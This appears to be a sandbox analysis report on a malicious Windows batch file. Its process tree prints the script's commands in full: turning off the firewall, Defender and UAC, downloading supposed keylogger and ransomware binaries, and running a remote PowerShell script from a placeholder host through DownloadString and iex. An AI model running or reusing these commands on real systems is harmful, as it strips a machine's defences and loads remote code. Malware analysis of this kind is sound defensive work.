744ed50836579d0adac6df4943e921aa07e4637ab703bfcc1fabefbcf4957894

Resubmissions

25/05/2023, 14:44

230525-r3514aag52 10

25/05/2023, 14:42

230525-r27tasag47 8

25/05/2023, 14:33

230525-rw2p4abd4t 10

Analysis

max time kernel
30s
max time network
33s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
25/05/2023, 14:33

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General

Target

Vewy dangerwous.bat
Size

1KB
MD5

8280240db4a4cc8555599df4f6416667
SHA1

de4dd7d5e72af49039fae5b2457a8666a40054db
SHA256

744ed50836579d0adac6df4943e921aa07e4637ab703bfcc1fabefbcf4957894
SHA512

a709308d1a165e93d5275e220cd8a9cb07263021bfcee2ef9d2f70d9e813991916c1a7e7e83b0a9c1ff45f00ec0e8b3a1dbc7f4a8af5ff14fc05e68a2b87c603

Score

10^/10

evasion ransomware trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://malicious-url.com/malware.ps1

Signatures

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	936	powershell.exe

Modifies Windows Firewall 1 TTPs 1 IoCs

evasion

Modify Existing Service

T1031

pid	Process
268	netsh.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Control Panel\Desktop\Wallpaper = "http://malicious-url.com/wallpaper.jpg"	reg.exe

Launches sc.exe 3 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1880	sc.exe
560	sc.exe
588	sc.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1732	powershell.exe
1200	powershell.exe
936	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1732	powershell.exe
Token: SeDebugPrivilege	1200	powershell.exe
Token: SeDebugPrivilege	936	powershell.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 916 wrote to memory of 268	916	cmd.exe	28
PID 916 wrote to memory of 268	916	cmd.exe	28
PID 916 wrote to memory of 268	916	cmd.exe	28
PID 916 wrote to memory of 1880	916	cmd.exe	29
PID 916 wrote to memory of 1880	916	cmd.exe	29
PID 916 wrote to memory of 1880	916	cmd.exe	29
PID 916 wrote to memory of 516	916	cmd.exe	30
PID 916 wrote to memory of 516	916	cmd.exe	30
PID 916 wrote to memory of 516	916	cmd.exe	30
PID 916 wrote to memory of 560	916	cmd.exe	31
PID 916 wrote to memory of 560	916	cmd.exe	31
PID 916 wrote to memory of 560	916	cmd.exe	31
PID 916 wrote to memory of 564	916	cmd.exe	32
PID 916 wrote to memory of 564	916	cmd.exe	32
PID 916 wrote to memory of 564	916	cmd.exe	32
PID 916 wrote to memory of 588	916	cmd.exe	33
PID 916 wrote to memory of 588	916	cmd.exe	33
PID 916 wrote to memory of 588	916	cmd.exe	33
PID 916 wrote to memory of 1732	916	cmd.exe	34
PID 916 wrote to memory of 1732	916	cmd.exe	34
PID 916 wrote to memory of 1732	916	cmd.exe	34
PID 916 wrote to memory of 1200	916	cmd.exe	35
PID 916 wrote to memory of 1200	916	cmd.exe	35
PID 916 wrote to memory of 1200	916	cmd.exe	35
PID 916 wrote to memory of 936	916	cmd.exe	36
PID 916 wrote to memory of 936	916	cmd.exe	36
PID 916 wrote to memory of 936	916	cmd.exe	36
PID 916 wrote to memory of 1944	916	cmd.exe	37
PID 916 wrote to memory of 1944	916	cmd.exe	37
PID 916 wrote to memory of 1944	916	cmd.exe	37
PID 916 wrote to memory of 1492	916	cmd.exe	38
PID 916 wrote to memory of 1492	916	cmd.exe	38
PID 916 wrote to memory of 1492	916	cmd.exe	38

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Vewy dangerwous.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:916
- C:\Windows\system32\netsh.exe
  netsh advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:268
- C:\Windows\system32\sc.exe
  sc config "WinDefend" start= disabled
  2⤵
  - Launches sc.exe
  PID:1880
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f
  2⤵
  - UAC bypass
  PID:516
- C:\Windows\system32\sc.exe
  sc config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:560
- C:\Windows\system32\reg.exe
  reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f
  2⤵
  PID:564
- C:\Windows\system32\sc.exe
  sc config "wscsvc" start= disabled
  2⤵
  - Launches sc.exe
  PID:588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest http://www.unforgettable.dk/42.zip -OutFile keylogger.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest http://www.unforgettable.dk/42.zip -OutFile ransomware.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$webClient = New-Object System.Net.WebClient; $webClient.DownloadString('http://malicious-url.com/malware.ps1') | iex"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:936
- C:\Windows\system32\reg.exe
  reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "http://malicious-url.com/wallpaper.jpg" /f
  2⤵
  - Sets desktop wallpaper using registry
  PID:1944
- C:\Windows\system32\rundll32.exe
  rundll32.exe user32.dll, UpdatePerUserSystemParameters
  2⤵
  PID:1492

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Bypass User Account Control

T1088

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4T0DJIDOAGYVO96VD2DK.temp

Filesize
7KB

MD5
a54a047b5ed844984d37b9ca2bddc031

SHA1
616e9067505ccf482faa305b6d42feea3e8329d5

SHA256
261da525a052a3bffa902e733ec40219b4734e8dc8870a290a5cfd529f779292

SHA512
628608b6665c665aa35c54f2c9d3828f2c8895d466c59a6244f38c6681a6d20988ef994a6190dafee595cabe047cc91a841c1b5e25b25856eba8068394695140

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
a54a047b5ed844984d37b9ca2bddc031

SHA1
616e9067505ccf482faa305b6d42feea3e8329d5

SHA256
261da525a052a3bffa902e733ec40219b4734e8dc8870a290a5cfd529f779292

SHA512
628608b6665c665aa35c54f2c9d3828f2c8895d466c59a6244f38c6681a6d20988ef994a6190dafee595cabe047cc91a841c1b5e25b25856eba8068394695140

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
a54a047b5ed844984d37b9ca2bddc031

SHA1
616e9067505ccf482faa305b6d42feea3e8329d5

SHA256
261da525a052a3bffa902e733ec40219b4734e8dc8870a290a5cfd529f779292

SHA512
628608b6665c665aa35c54f2c9d3828f2c8895d466c59a6244f38c6681a6d20988ef994a6190dafee595cabe047cc91a841c1b5e25b25856eba8068394695140

Download Submit
memory/936-78-0x0000000002490000-0x0000000002510000-memory.dmp

Filesize
512KB

Download
memory/936-76-0x0000000002490000-0x0000000002510000-memory.dmp

Filesize
512KB

Download
memory/936-77-0x0000000002490000-0x0000000002510000-memory.dmp

Filesize
512KB

Download
memory/1200-70-0x000000000251B000-0x0000000002552000-memory.dmp

Filesize
220KB

Download
memory/1200-68-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

Filesize
32KB

Download
memory/1200-69-0x0000000002514000-0x0000000002517000-memory.dmp

Filesize
12KB

Download
memory/1200-67-0x000000001B160000-0x000000001B442000-memory.dmp

Filesize
2.9MB

Download
memory/1732-58-0x000000001B1F0000-0x000000001B4D2000-memory.dmp

Filesize
2.9MB

Download
memory/1732-61-0x000000000287B000-0x00000000028B2000-memory.dmp

Filesize
220KB

Download
memory/1732-60-0x0000000002874000-0x0000000002877000-memory.dmp

Filesize
12KB

Download
memory/1732-59-0x0000000002360000-0x0000000002368000-memory.dmp

Filesize
32KB

Download